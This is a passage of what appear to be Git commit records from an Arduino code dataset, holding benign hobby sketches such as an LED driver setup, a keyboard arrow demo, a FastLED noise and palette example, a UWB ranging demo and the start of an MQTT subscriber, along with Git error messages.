TLC5940_GS_PORT PORTD\n#define TLC5940_GS_PIN 2\n\/\/ serial clock - D4\n#define TLC5940_SCK_PORT PORTD\n#define TLC5940_SCK_PIN 4\n\/\/ latch - D3\n#define TLC5940_XLAT_PORT PORTD\n#define TLC5940_XLAT_PIN 3\n\/\/ programming select - D1\n#define TLC5940_VPRG_PORT PORTD\n#define TLC5940_VPRG_PIN 1\n\/\/ blank outputs - C6\n#define TLC5940_BLANK_PORT PORTC\n#define TLC5940_BLANK_PIN 6\n\/\/ serial data master out slave in - D7\n#define TLC5940_MOSI_PORT PORTD\n#define TLC5940_MOSI_PIN 7\n\/\/ number of drivers\n#define TLC5940_N 3\n\n#include \"TLC5940.h\"\n\n\/\/ tlc object\nTLC5940 tlc;\n\nvoid setup(void) {\n Serial.begin(9600);\n\n Serial.println(\"initializing tlc\");\n tlc.init();\n}\n\nvoid loop(void) {\n\n}\n\n\/\/ ISR for serial data input into TLC5940\n\/\/ run in non-blocking mode so that the greyscale cycle continues regardless of serial data being clocked in\nISR(TIMER0_COMPA_vect) {\n tlc.serialCycle();\n}\n\n\/\/ ISR for greyscale clock on TLC5940\nISR(TIMER1_COMPA_vect) {\n tlc.gsCycle();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/fadeInAndOut\/fadeInAndOut.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"16175f68d948f9954af6e1cb9848eef3e0800abb","subject":"Arduino keyboard demo","message":"Arduino keyboard demo\n","repos":"idofishler\/SAP-dokm-handson,idofishler\/SAP-dokm-handson","old_file":"Ardunio\/keyboard\/keyboard.ino","new_file":"Ardunio\/keyboard\/keyboard.ino","new_contents":"\/* \n Keyboard Message test\n \n For the Arduino Leonardo and Micro.\n \n Sends a text string when a button is pressed.\n \n The circuit:\n * pushbutton attached from pin 4 to +5V\n * 10-kilohm resistor attached from pin 4 to ground\n \n created 24 Oct 2011\n modified 27 Mar 2012\n by Tom Igoe\n modified 11 Nov 2013\n by Scott Fitzgerald\n \n This example code is in the public domain.\n \n http:\/\/www.arduino.cc\/en\/Tutorial\/KeyboardMessage\n *\/\n\nvoid setup() {\n \/\/ make the pushButton pin an input:\n \/\/ initialize control over the keyboard:\n Keyboard.begin();\n}\n\nvoid loop() {\n \/\/ read the pushbutton:\n int sensorRight = analogRead(A1);\n int sensorLeft = analogRead(A2);\n int sensorUp = analogRead(A3);\n int sensorDown = analogRead(A4);\n\n \/\/ if the button state has changed, \n if ((sensorLeft > 0)) {\n \/\/ increment the button counter\n \/\/ type out a message\n Keyboard.press(KEY_LEFT_ARROW); \n delay(10);\n \n }\n if ((sensorRight > 0)) {\n \/\/ increment the button counter\n \/\/ type out a message\n Keyboard.press(KEY_RIGHT_ARROW); \n delay(10);\n \n }\n if ((sensorDown > 0)) {\n \/\/ increment the button counter\n \/\/ type out a message\n Keyboard.press(KEY_DOWN_ARROW); \n delay(10);\n \n }\n if ((sensorUp > 0)) {\n \/\/ increment the button counter\n \/\/ type out a message\n Keyboard.press(KEY_UP_ARROW);\n delay(10);\n \n }\n Keyboard.releaseAll();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Ardunio\/keyboard\/keyboard.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"88d539701a678738943bf49729d562bdd8f6bccc","subject":"CRT phosphor simulation","message":"CRT phosphor simulation\n","repos":"jamesbowman\/gd2-lib,jamesbowman\/gd2-lib,jamesbowman\/gd2-lib","old_file":"contrib\/scope.ino","new_file":"contrib\/scope.ino","new_contents":"#include <EEPROM.h>\n#include <SPI.h>\n#include <GD2.h>\n\n\/\/ Make a diam x diam \"soft glow\" bitmap\n\nvoid bitmap(uint32_t addr, int diam, float p)\n{\n int r = diam \/ 2;\n GD.cmd_setbitmap(addr, L8, diam, diam);\n for (int i = 0; i < diam; i++)\n for (int j = 0; j < diam; j++) {\n int x = i - r, y = j - r;\n float d = pow((x * x) + (y * y), p);\n float t = constrain(1.0 - d \/ r, 0, 1);\n GD.wr(addr + diam * i + j, 255 * t * t);\n }\n}\n\nstatic xy points[1024];\nint oldest;\n\nvoid add(xy &p)\n{\n points[oldest] = p;\n oldest = (oldest + 1) & 1023;\n}\n\nstatic xy pos, vel;\n\nvoid simulate()\n{\n pos += vel;\n int f = 1;\n if (pos.x < PIXELS(400))\n vel.x += f;\n else\n vel.x -= f;\n if (pos.y < PIXELS(240))\n vel.y += f;\n else\n vel.y -= f;\n \/\/ The \"swerve\" - every once in a while\n if (GD.random(200) == 0) {\n vel.set(vel.y, -vel.x);\n }\n if (GD.random(60) == 0) {\n vel.x -= vel.x >> 5;\n vel.y -= vel.y >> 5;\n }\n}\n\nvoid setup()\n{\n GD.begin(~GD_STORAGE);\n pos.set(PIXELS(100), PIXELS(100));\n vel.set(1, 1);\n GD.BitmapHandle(0);\n bitmap(0, 32, 0.9);\n GD.BitmapHandle(1);\n bitmap(1024, 64, 0.5);\n\n for (int i = 0; i < 1024; i++) {\n add(pos);\n simulate();\n }\n}\n\nvoid loop()\n{\n GD.Clear();\n\n GD.ColorRGB(0x80c950); \/\/ Greenish\n GD.BlendFunc(SRC_ALPHA, ONE); \/\/ Additive blending\n GD.Begin(BITMAPS);\n GD.BitmapHandle(0);\n GD.VertexTranslateX(PIXELS(-16));\n GD.VertexTranslateY(PIXELS(-16));\n for (int i = 0; i < 1020; i++) {\n if ((i & 3) == 0)\n GD.ColorA(i >> 2);\n points[(oldest + i) & 1023].draw();\n }\n\n \/\/ Draw the last 4 points with a large, bright cursor\n GD.VertexTranslateX(PIXELS(-32));\n GD.VertexTranslateY(PIXELS(-32));\n GD.ColorRGB(0xffff88); \/\/ bright yellow\n GD.BitmapHandle(1);\n for (int i = 1020; i < 1024; i++)\n points[(oldest + i) & 1023].draw();\n \n GD.swap();\n\n for (int i = 0; i < 3; i++) {\n add(pos);\n simulate();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'contrib\/scope.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"c09da5fa8a1f6687ebb750a7e4bb2b66e0fe4feb","subject":"Code visibility","message":"Code visibility\n","repos":"SaltyViper\/esp8266_deauther,ArtursGailis1995\/esp8266_deauther,ArtursGailis1995\/esp8266_deauther,ArtursGailis1995\/esp8266_deauther,SaltyViper\/esp8266_deauther,ArtursGailis1995\/esp8266_deauther,SaltyViper\/esp8266_deauther,SaltyViper\/esp8266_deauther","old_file":"esp8266_deauther\/esp8266_deauther.ino","new_file":"esp8266_deauther\/esp8266_deauther.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ArtursGailis1995\/esp8266_deauther.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"cb08702d49ab758dc3daf0c01f6e5c4119c4c086","subject":"add UWB DW1000 Example","message":"add UWB DW1000 Example\n","repos":"m5stack\/M5Stack,m5stack\/M5Stack,m5stack\/M5Stack","old_file":"examples\/Unit\/UWB_DW1000\/UWB_DW1000.ino","new_file":"examples\/Unit\/UWB_DW1000\/UWB_DW1000.ino","new_contents":"\/*\n Description: UWB Unit test program. When using, two M5 devices are burned to the program, \n and the buttons A and B are used to configure them to base station mode and Tag mode respectively. \n For more details, please refer to the code comments below.\n Before use, it is recommended to configure the base station first, and then configure the Tag\n*\/\n\n#include <M5Stack.h>\nString DATA = \" \"; \/\/Used to store distance data\nint UWB_MODE = 2; \/\/Used to set UWB mode\n\nint UWB_T_UI_NUMBER_2 = 0; \/\/ flag bit \u6807\u5fd7\u4f4d\nint UWB_T_UI_NUMBER_1 = 0;\nint UWB_T_NUMBER = 0;\nint UWB_B_NUMBER = 0;\n\n\nhw_timer_t *timer = NULL;\nint timer_flag = 0;\nint base_flag = 0;\nuint32_t timer_data = 0;\nstatic void IRAM_ATTR Timer0_CallBack(void);\n\n\/\/Data display\nvoid UWB_display()\n{\n switch (UWB_MODE)\n {\n case 0:\n\n if (UWB_T_NUMBER > 0 && UWB_T_NUMBER < 5)\n {\n int c = UWB_T_NUMBER;\n int b = 4 - UWB_T_NUMBER;\n while (c > 0)\n {\n c--;\n M5.Lcd.drawString(DATA.substring(2 + c * 11, 3 + c * 11), 37, 50 + c * 40, 4 );\/\/Tag the serial number \u6807\u7b7e\u5e8f\u53f7\n M5.Lcd.drawString(DATA.substring(4 + c * 11, 8 + c * 11), 210, 50 + c * 40, 4); \/\/Distance \u8ddd\u79bb\n }\n while (b > 0)\n {\n b--;\n M5.Lcd.fillRect(0, 170 - b * 40, 340, 30, BLACK);\n }\n }\n break;\n case 1:\n if (UWB_B_NUMBER == 1)\n {\n M5.Lcd.drawString(DATA, 60, 90, 4);\/\/Prompt information (Base station 0 only) \u63d0\u793a\u4fe1\u606f (\u4ec5\u9650\u57fa\u7ad90)\n }\n break;\n }\n}\n\n\/\/UI display\nvoid UWB_ui_display() {\n\n M5.Lcd.drawString(\"UWB Example\", 90, 0, 4); \/\/UI\n M5.Lcd.drawString(\"Tag\", 50, 210, 4);\n M5.Lcd.drawString(\"Base\", 130, 210, 4);\n M5.Lcd.drawString(\"Reset\", 220, 210, 4);\n\n switch (UWB_MODE)\n {\n case 0:\n if (UWB_T_NUMBER > 0 && UWB_T_NUMBER < 5) \/\/Tag mode UI display \u6807\u7b7e\u6a21\u5f0fUI\u663e\u793a\n {\n int c = UWB_T_NUMBER;\n int b = 4 - UWB_T_NUMBER;\n while (c > 0 )\n {\n c--;\n M5.Lcd.drawString(\"B\", 20, 50 + c * 40, 4 );\n M5.Lcd.drawString(\"Distance:\", 80, 50 + c * 40, 4 );\n M5.Lcd.drawString(\"M\", 280, 50 + c * 40, 4);\n }\n\n while (b > 0)\n {\n b--;\n M5.Lcd.fillRect(0, 170 - b * 40, 340, 30, BLACK);\n }\n }\n break;\n case 1: \/\/Base station mode UI display \u57fa\u7ad9\u6a21\u5f0fUI\u663e\u793a\n M5.Lcd.drawString(\"Base station\", 80, 50, 4 );\n M5.Lcd.drawString(String(UWB_B_NUMBER), 240, 50, 4 );\/\/UWB_B_NUMBER\n if (UWB_B_NUMBER == 0)\n {\n M5.Lcd.drawString(\"loading......\", 100, 90, 4 );\n }\n else\n {\n M5.Lcd.fillRect(0, 90, 340, 30, BLACK);\n }\n\n break;\n }\n}\n\/\/ Display and data clear\nvoid UWB_clear() { \/\/Clear the display and DATA \u6e05\u9664\u663e\u793a\u548cDATA\n if (Serial2.available())\n {\n delay(3);\n DATA = Serial2.readString();\n }\n DATA = \"\";\n timer_flag = 0;\n timer_data = 0;\n M5.Lcd.fillRect(0, 50, 340, 150, BLACK);\n}\n\nint UWB_readString() \/\/Read UART data \u8bfb\u53d6\u4e32\u53e3\u6570\u636e\n{\n switch (UWB_MODE)\n {\n case 0:\n if (Serial2.available())\n {\n delay(20);\n UWB_T_NUMBER = (Serial2.available() \/ 11); \/\/Count the number of Base stations \u8ba1\u7b97\u57fa\u7ad9\u6570\u76ee\n delay(20);\n if (UWB_T_NUMBER != UWB_T_UI_NUMBER_1 || UWB_T_UI_NUMBER_2 == 0) \/\/Changing the UI display \u66f4\u6539UI\u663e\u793a\n {\n UWB_ui_display();\n UWB_T_UI_NUMBER_1 = UWB_T_NUMBER;\n UWB_T_UI_NUMBER_2 = 1;\n }\n DATA = Serial2.readString();\n delay(2);\n timer_flag = 0;\n timer_data = 1;\n break;\n }\n else\n {\n timer_flag = 1;\n }\n if (timer_data == 0 || timer_data > 8) \/\/Count the number of Base stations \u63d0\u793a\u4e0e\u57fa\u7ad90\u65ad\u8fde\uff08\u6d4b\u8bd5\uff09\n {\n if(timer_data==9){M5.Lcd.fillRect(210, 50, 50, 30, BLACK);}\n DATA = \" 0 2F \";\n timer_flag = 0;\n }\n break;\n case 1:\n if (timer_data == 0 || timer_data > 70) \/\/Indicates successful or lost connection with Tag \u63d0\u793a\u4e0e\u6807\u7b7e\u8fde\u63a5\u6210\u529f\u6216\u4e22\u5931\u65ad\u8fde\n {\n if (Serial2.available())\n {\n delay(2);\n DATA = Serial2.readString();\n DATA = \"set up successfully!\";\n timer_data = 1;\n timer_flag = 1;\n break;\n }\n else if (timer_data > 0 && Serial2.available() == 0 )\n {\n DATA = \"Can't find the tag!!!\";\n timer_flag = 0;\n break;\n }\n }\n break;\n }\n}\n\n\nint UWB_setupmode() \/\/AT command\n{\n switch (UWB_MODE) {\n case 0:\n for (int b = 0; b < 2; b++)\n { \/\/Repeat twice to stabilize the connection\n delay(50);\n Serial2.write(\"AT+anchor_tag=0\\r\\n\"); \/\/Set up the Tag \u8bbe\u7f6e\u6807\u7b7e\n delay(50);\n Serial2.write(\"AT+interval=5\\r\\n\"); \/\/Set the calculation precision, the larger the response is, the slower it will be\n delay(50); \/\/\u8bbe\u7f6e\u8ba1\u7b97\u7cbe\u5ea6\uff0c\u8d8a\u5927\u54cd\u5e94\u8d8a\u6162\n Serial2.write(\"AT+switchdis=1\\r\\n\"); \/\/Began to distance \u5f00\u59cb\u6d4b\u8ddd\n delay(50);\n if (b == 0) {\n Serial2.write(\"AT+RST\\r\\n\"); \/\/RESET \u590d\u4f4d\n }\n }\n UWB_clear();\n break;\n case 1:\n for (int b = 0; b < 2; b++)\n {\n delay(50);\n Serial2.write(\"AT+anchor_tag=1,\"); \/\/Set the base station \u8bbe\u7f6e\u57fa\u7ad9\n Serial2.print(UWB_B_NUMBER); \/\/UWB_B_NUMBER is base station ID0~ID3\n Serial2.write(\"\\r\\n\");\n delay(1);\n delay(50);\n if (b == 0) {\n Serial2.write(\"AT+RST\\r\\n\");\n }\n }\n UWB_clear();\n break;\n }\n}\n\n\nvoid UWB_Keyscan() {\n if (M5.BtnA.wasReleased())\n {\n UWB_MODE = 0;\n UWB_setupmode();\n UWB_clear();\n UWB_ui_display();\n UWB_T_UI_NUMBER_2 = 0;\n }\n if (M5.BtnB.wasReleased())\n {\n UWB_MODE = 1;\n if (UWB_B_NUMBER == 4)\n {\n UWB_B_NUMBER = 0;\n }\n UWB_setupmode();\n UWB_clear();\n UWB_ui_display();\n UWB_B_NUMBER++;\n }\n if (M5.BtnC.wasReleased())\n {\n Serial2.write(\"AT+RST\\r\\n\");\n UWB_setupmode();\n UWB_clear();\n UWB_ui_display();\n }\n}\n\nvoid UWB_Timer()\n{\n timer = timerBegin(0, 80, true); \/\/Timer setting \u5b9a\u65f6\u5668\u8bbe\u7f6e\n timerAttachInterrupt(timer, Timer0_CallBack, true);\n timerAlarmWrite(timer, 1000000, true);\n timerAlarmEnable(timer);\n}\n\nstatic void IRAM_ATTR Timer0_CallBack(void) \/\/Timer function \u5b9a\u65f6\u5668\u51fd\u6570\n{\n if (timer_flag == 1)\n {\n timer_data++;\n if (timer_data == 4294967280)\n {\n timer_data = 1;\n }\n }\n else\n {\n timer_data = 0;\n }\n}\n\nvoid setup()\n{\n M5.begin();\n M5.Power.begin();\n Serial2.begin(115200, SERIAL_8N1, 16, 17);\n delay(100);\n UWB_Timer();\n\n UWB_ui_display();\n\n}\n\nvoid loop()\n{\n M5.update();\n UWB_Keyscan();\n UWB_readString();\n UWB_display();\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Unit\/UWB_DW1000\/UWB_DW1000.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"293c077560e06d93f987475185e60882f9cb1cde","subject":"Added Sound Sensor - ATtiny","message":"Added Sound Sensor - ATtiny\n","repos":"MakerWear\/MakerWear,MakerWear\/MakerWear,MakerWear\/MakerWear","old_file":"Sound Sensor\/SoundSensorATtiny\/SoundSensorATtiny.ino","new_file":"Sound Sensor\/SoundSensorATtiny\/SoundSensorATtiny.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sound' did not match any file(s) known to git\nerror: pathspec 'Sensor\/SoundSensorATtiny\/SoundSensorATtiny.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ca3f3906076aef9e09a860d1dbbe17ea2b9ba7b7","subject":"Code de test pour carateriser la vitesse des moteur en fonction de PWM","message":"Code de test pour carateriser la vitesse des moteur en fonction de PWM\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module moteur\/Software\/Asservissement\/CaraterisationVitesseMoteur\/caraterisationVitesseMoteur\/caraterisationVitesseMoteur.ino","new_file":"Module moteur\/Software\/Asservissement\/CaraterisationVitesseMoteur\/caraterisationVitesseMoteur\/caraterisationVitesseMoteur.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'moteur\/Software\/Asservissement\/CaraterisationVitesseMoteur\/caraterisationVitesseMoteur\/caraterisationVitesseMoteur.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"91c36a8737bc807e26c61c21155504b08e6b5741","subject":"Adding noise+palette example","message":"Adding noise+palette example\n","repos":"NicoHood\/FastLED,corbinstreehouse\/FastLED,wilhelmryan\/FastLED,neographophobic\/FastLED,FastLED\/FastLED,PaulStoffregen\/FastLED,remspoor\/FastLED,FastLED\/FastLED,neographophobic\/FastLED,felixLam\/FastLED,liyanage\/FastLED,ryankenney\/FastLED,yaneexy\/FastLED,wsilverio\/FastLED,MiketheChap\/FastLED,MattDurr\/FastLED,remspoor\/FastLED,tullo-x86\/FastLED,MattDurr\/FastLED,corbinstreehouse\/FastLED,yaneexy\/FastLED,PaulStoffregen\/FastLED,kcouck\/FastLED,liyanage\/FastLED,NicoHood\/FastLED,PaulStoffregen\/FastLED,FastLED\/FastLED,wilhelmryan\/FastLED,FastLED\/FastLED,eshkrab\/FastLED-esp32,felixLam\/FastLED,MiketheChap\/FastLED,kcouck\/FastLED,eshkrab\/FastLED-esp32,tullo-x86\/FastLED,wsilverio\/FastLED,ryankenney\/FastLED","old_file":"examples\/NoisePlusPalette\/NoisePlusPalette.ino","new_file":"examples\/NoisePlusPalette\/NoisePlusPalette.ino","new_contents":"#include<FastLED.h>\n\n#define LED_PIN 3\n#define BRIGHTNESS 96\n#define LED_TYPE WS2811\n#define COLOR_ORDER GRB\n\nconst uint8_t kMatrixWidth = 16;\nconst uint8_t kMatrixHeight = 16;\nconst bool kMatrixSerpentineLayout = true;\n\n\n\/\/ This example combines two features of FastLED to produce a remarkable range of\n\/\/ effects from a relatively small amount of code. This example combines FastLED's \n\/\/ color palette lookup functions with FastLED's Perlin\/simplex noise generator, and\n\/\/ the combination is extremely powerful.\n\/\/\n\/\/ You might want to look at the \"ColorPalette\" and \"Noise\" examples separately\n\/\/ if this example code seems daunting.\n\/\/\n\/\/ \n\/\/ The basic setup here is that for each frame, we generate a new array of \n\/\/ 'noise' data, and then map it onto the LED matrix through a color palette.\n\/\/\n\/\/ Periodically, the color palette is changed, and new noise-generation parameters\n\/\/ are chosen at the same time. In this example, specific noise-generation\n\/\/ values have been selected to match the given color palettes; some are faster, \n\/\/ or slower, or larger, or smaller than others, but there's no reason these \n\/\/ parameters can't be freely mixed-and-matched.\n\/\/\n\/\/ In addition, this example includes some fast automatic 'data smoothing' at \n\/\/ lower noise speeds to help produce smoother animations in those cases.\n\/\/\n\/\/ The FastLED built-in color palettes (Forest, Clouds, Lava, Ocean, Party) are\n\/\/ used, as well as some 'hand-defined' ones, and some proceedurally generated\n\/\/ palettes.\n\n\n#define NUM_LEDS (kMatrixWidth * kMatrixHeight)\n#define MAX_DIMENSION ((kMatrixWidth>kMatrixHeight) ? kMatrixWidth : kMatrixHeight)\n\n\/\/ The leds\nCRGB leds[kMatrixWidth * kMatrixHeight];\n\n\/\/ The 16 bit version of our coordinates\nstatic uint16_t x;\nstatic uint16_t y;\nstatic uint16_t z;\n\n\/\/ We're using the x\/y dimensions to map to the x\/y pixels on the matrix. We'll\n\/\/ use the z-axis for \"time\". speed determines how fast time moves forward. Try\n\/\/ 1 for a very slow moving effect, or 60 for something that ends up looking like\n\/\/ water.\nuint16_t speed = 20; \/\/ speed is set dynamically once we've started up\n\n\/\/ Scale determines how far apart the pixels in our noise matrix are. Try\n\/\/ changing these values around to see how it affects the motion of the display. The\n\/\/ higher the value of scale, the more \"zoomed out\" the noise iwll be. A value\n\/\/ of 1 will be so zoomed in, you'll mostly see solid colors.\nuint16_t scale = 30; \/\/ scale is set dynamically once we've started up\n\n\/\/ This is the array that we keep our computed noise values in\nuint8_t noise[MAX_DIMENSION][MAX_DIMENSION];\n\nCRGBPalette16 currentPalette( PartyColors_p );\nuint8_t colorLoop = 1;\n\nvoid setup() {\n delay(3000);\n LEDS.addLeds<LED_TYPE,LED_PIN,COLOR_ORDER>(leds,NUM_LEDS);\n LEDS.setBrightness(BRIGHTNESS);\n\n \/\/ Initialize our coordinates to some random values\n x = random16();\n y = random16();\n z = random16();\n}\n\n\n\n\/\/ Fill the x\/y array of 8-bit noise values using the inoise8 function.\nvoid fillnoise8() {\n \/\/ If we're runing at a low \"speed\", some 8-bit artifacts become visible\n \/\/ from frame-to-frame. In order to reduce this, we can do some fast data-smoothing.\n \/\/ The amount of data smoothing we're doing depends on \"speed\".\n uint8_t dataSmoothing = 0;\n if( speed < 50) {\n dataSmoothing = 200 - (speed * 4);\n }\n \n for(int i = 0; i < MAX_DIMENSION; i++) {\n int ioffset = scale * i;\n for(int j = 0; j < MAX_DIMENSION; j++) {\n int joffset = scale * j;\n \n byte data = inoise8(x + ioffset,y + joffset,z);\n\n \/\/ The range of the inoise8 function is roughly 16-240.\n \/\/ These two operations expand those values out to roughly 0..255\n \/\/ You can comment them out if you want the raw noise data.\n data = qsub8(data,16);\n data = qadd8(data,scale8(data,39));\n\n if( dataSmoothing ) {\n uint8_t olddata = noise[i][j];\n uint8_t newdata = scale8( olddata, dataSmoothing) + scale8( data, 256 - dataSmoothing);\n data = newdata;\n }\n \n noise[i][j] = data;\n }\n }\n \n z += speed;\n \n \/\/ apply slow drift to X and Y, just for visual variation.\n x += speed \/ 8;\n y -= speed \/ 16;\n}\n\nvoid mapNoiseToLEDsUsingPalette()\n{\n static uint8_t ihue=0;\n \n for(int i = 0; i < kMatrixWidth; i++) {\n for(int j = 0; j < kMatrixHeight; j++) {\n \/\/ We use the value at the (i,j) coordinate in the noise\n \/\/ array for our brightness, and the flipped value from (j,i)\n \/\/ for our pixel's index into the color palette.\n\n uint8_t index = noise[j][i];\n uint8_t bri = noise[i][j];\n\n \/\/ if this palette is a 'loop', add a slowly-changing base value\n if( colorLoop) { \n index += ihue;\n }\n\n \/\/ brighten up, as the color palette itself often contains the \n \/\/ light\/dark dynamic range desired\n if( bri > 127 ) {\n bri = 255;\n } else {\n bri = dim8_raw( bri * 2);\n }\n\n CRGB color = ColorFromPalette( currentPalette, index, bri);\n leds[XY(i,j)] = color;\n }\n }\n \n ihue+=1;\n}\n\nvoid loop() {\n \/\/ Periodically choose a new palette, speed, and scale\n ChangePaletteAndSettingsPeriodically();\n\n \/\/ generate noise data\n fillnoise8();\n \n \/\/ convert the noise data to colors in the LED array\n \/\/ using the current palette\n mapNoiseToLEDsUsingPalette();\n\n LEDS.show();\n \/\/ delay(10);\n}\n\n\n\n\/\/ There are several different palettes of colors demonstrated here.\n\/\/\n\/\/ FastLED provides several 'preset' palettes: RainbowColors_p, RainbowStripeColors_p,\n\/\/ OceanColors_p, CloudColors_p, LavaColors_p, ForestColors_p, and PartyColors_p.\n\/\/\n\/\/ Additionally, you can manually define your own color palettes, or you can write\n\/\/ code that creates color palettes on the fly.\n\n\/\/ 1 = 5 sec per palette\n\/\/ 2 = 10 sec per palette\n\/\/ etc\n#define HOLD_PALETTES_X_TIMES_AS_LONG 1\n\nvoid ChangePaletteAndSettingsPeriodically()\n{\n uint8_t secondHand = ((millis() \/ 1000) \/ HOLD_PALETTES_X_TIMES_AS_LONG) % 60;\n static uint8_t lastSecond = 99;\n \n if( lastSecond != secondHand) {\n lastSecond = secondHand;\n if( secondHand == 0) { currentPalette = RainbowColors_p; speed = 20; scale = 30; colorLoop = 1; }\n if( secondHand == 5) { SetupPurpleAndGreenPalette(); speed = 10; scale = 50; colorLoop = 1; }\n if( secondHand == 10) { SetupBlackAndWhiteStripedPalette(); speed = 20; scale = 30; colorLoop = 1; }\n if( secondHand == 15) { currentPalette = ForestColors_p; speed = 8; scale =120; colorLoop = 0; }\n if( secondHand == 20) { currentPalette = CloudColors_p; speed = 4; scale = 30; colorLoop = 0; }\n if( secondHand == 25) { currentPalette = LavaColors_p; speed = 8; scale = 50; colorLoop = 0; }\n if( secondHand == 30) { currentPalette = OceanColors_p; speed = 20; scale = 90; colorLoop = 0; }\n if( secondHand == 35) { currentPalette = PartyColors_p; speed = 20; scale = 30; colorLoop = 1; }\n if( secondHand == 40) { SetupRandomPalette(); speed = 20; scale = 20; colorLoop = 1; }\n if( secondHand == 45) { SetupRandomPalette(); speed = 50; scale = 50; colorLoop = 1; }\n if( secondHand == 50) { SetupRandomPalette(); speed = 90; scale = 90; colorLoop = 1; }\n if( secondHand == 55) { currentPalette = RainbowStripeColors_p; speed = 30; scale = 20; colorLoop = 1; }\n }\n}\n\n\/\/ This function generates a random palette that's a gradient\n\/\/ between four different colors. The first is a dim hue, the second is \n\/\/ a bright hue, the third is a bright pastel, and the last is \n\/\/ another bright hue. This gives some visual bright\/dark variation\n\/\/ which is more interesting than just a gradient of different hues.\nvoid SetupRandomPalette()\n{\n currentPalette = CRGBPalette16( \n CHSV( random8(), 255, 32), \n CHSV( random8(), 255, 255), \n CHSV( random8(), 128, 255), \n CHSV( random8(), 255, 255)); \n}\n\n\/\/ This function sets up a palette of black and white stripes,\n\/\/ using code. Since the palette is effectively an array of\n\/\/ sixteen CRGB colors, the various fill_* functions can be used\n\/\/ to set them up.\nvoid SetupBlackAndWhiteStripedPalette()\n{\n \/\/ 'black out' all 16 palette entries...\n fill_solid( currentPalette, 16, CRGB::Black);\n \/\/ and set every fourth one to white.\n currentPalette[0] = CRGB::White;\n currentPalette[4] = CRGB::White;\n currentPalette[8] = CRGB::White;\n currentPalette[12] = CRGB::White;\n\n}\n\n\/\/ This function sets up a palette of purple and green stripes.\nvoid SetupPurpleAndGreenPalette()\n{\n CRGB purple = CHSV( HUE_PURPLE, 255, 255);\n CRGB green = CHSV( HUE_GREEN, 255, 255);\n CRGB black = CRGB::Black;\n \n currentPalette = CRGBPalette16( \n green, green, black, black,\n purple, purple, black, black,\n green, green, black, black,\n purple, purple, black, black );\n}\n\n\n\/\/\n\/\/ Mark's xy coordinate mapping code. See the XYMatrix for more information on it.\n\/\/\nuint16_t XY( uint8_t x, uint8_t y)\n{\n uint16_t i;\n if( kMatrixSerpentineLayout == false) {\n i = (y * kMatrixWidth) + x;\n }\n if( kMatrixSerpentineLayout == true) {\n if( y & 0x01) {\n \/\/ Odd rows run backwards\n uint8_t reverseX = (kMatrixWidth - 1) - x;\n i = (y * kMatrixWidth) + reverseX;\n } else {\n \/\/ Even rows run forwards\n i = (y * kMatrixWidth) + x;\n }\n }\n return i;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/NoisePlusPalette\/NoisePlusPalette.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"71cc9c247b6fb22a5207ddd41d9757286da86648","subject":"add light fading for sunrise\/sunset","message":"add light fading for sunrise\/sunset\n","repos":"cwilkens\/helioscope-lamp","old_file":"helioscope\/helioscope.ino","new_file":"helioscope\/helioscope.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/cwilkens\/helioscope-lamp.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d9edf64ad4aca5356d0541a7bd7f34ce40adf166","subject":"Add simple subscriber example","message":"Add simple subscriber example\n\nPrints the topic and payload of every message it receives.\n","repos":"hemantsangwan\/Arduino-PubSubClient,doebi\/pubsubclient,Imroy\/pubsubclient,koltegirish\/pubsubclient,Imroy\/pubsubclient,koltegirish\/pubsubclient,vshymanskyy\/pubsubclient,liquiddandruff\/pubsubclient,Protoneer\/pubsubclient,Imroy\/pubsubclient,koltegirish\/pubsubclient,vshymanskyy\/pubsubclient,liquiddandruff\/pubsubclient,hemantsangwan\/Arduino-PubSubClient,doebi\/pubsubclient,doebi\/pubsubclient,hemantsangwan\/Arduino-PubSubClient,Protoneer\/pubsubclient,liquiddandruff\/pubsubclient,vshymanskyy\/pubsubclient,Protoneer\/pubsubclient","old_file":"examples\/mqtt_subscriber\/mqtt_subscriber.ino","new_file":"examples\/mqtt_subscriber\/mqtt_subscriber.ino","new_contents":"\/*\n MQTT subscriber example\n\n - connects to an MQTT server\n - subscribes to the topic \"inTopic\"\n*\/\n\n#include <ESP8266WiFi.h>\n#include <PubSubClient.h>\n\nconst char *ssid =\t\"xxxxxxxx\";\t\t\/\/ cannot be longer than 32 characters!\nconst char *pass =\t\"yyyyyyyy\";\t\t\/\/\n\n\/\/ Update these with values suitable for your network.\nIPAddress server(172, 16, 0, 2);\n\nvoid callback(MQTT::Publish& pub) {\n Serial.print(pub.topic());\n Serial.print(\" => \");\n Serial.print(pub.payload_string());\n}\n\nPubSubClient client(server);\n\nvoid setup()\n{\n \/\/ Setup console\n Serial.begin(115200);\n delay(10);\n Serial.println();\n Serial.println();\n\n 